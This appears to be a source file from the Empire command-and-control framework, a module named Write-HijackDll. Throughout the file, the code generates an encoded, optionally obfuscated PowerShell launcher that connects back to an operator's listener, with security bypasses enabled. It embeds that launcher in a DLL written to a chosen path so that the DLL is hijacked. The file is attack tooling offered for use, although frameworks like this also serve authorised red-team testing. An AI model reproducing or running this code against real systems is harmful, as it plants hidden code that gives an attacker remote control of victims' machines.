write_dllhijacker.py

from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message


class Module:
    @staticmethod
    def generate(
        main_menu: MainMenu,
        module: EmpireModule,
        params: dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):
        # staging options
        launcher_obfuscate = params["Obfuscate"].lower() == "true"
        launcher_obfuscate_command = params["ObfuscateCommand"]

        module_name = "Write-HijackDll"

        # read in the common module source code
        script, err = main_menu.modulesv2.get_module_source(
            module_name=module.script_path,
            obfuscate=obfuscate,
            obfuscate_command=obfuscation_command,
        )

        if err:
            return handle_error_message(err)

        script_end = ";" + module_name + " "

        # extract all of our options
        listener_name = params["Listener"]
        user_agent = params["UserAgent"]
        proxy = params["Proxy"]
        proxy_creds = params["ProxyCreds"]

        # generate the launcher code
        launcher = main_menu.stagers.generate_launcher(
            listenerName=listener_name,
            language="powershell",
            encode=True,
            obfuscate=launcher_obfuscate,
            obfuscation_command=launcher_obfuscate_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            bypasses=params["Bypasses"],
        )

        if launcher == "":
            return handle_error_message("[!] Error in launcher command generation.")

        else:
            out_file = params["DllPath"]
            script_end += ' -Command "%s"' % (launcher)
            script_end += " -DllPath %s" % (out_file)

        outputf = params.get("OutputFunction", "Out-String")
        script_end += (
            f" | {outputf} | "
            + '%{$_ + "`n"};"`n'
            + str(module.name.split("/")[-1])
            + ' completed!"'
        )

        script = main_menu.modulesv2.finalize_module(
            script=script,
            script_end=script_end,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script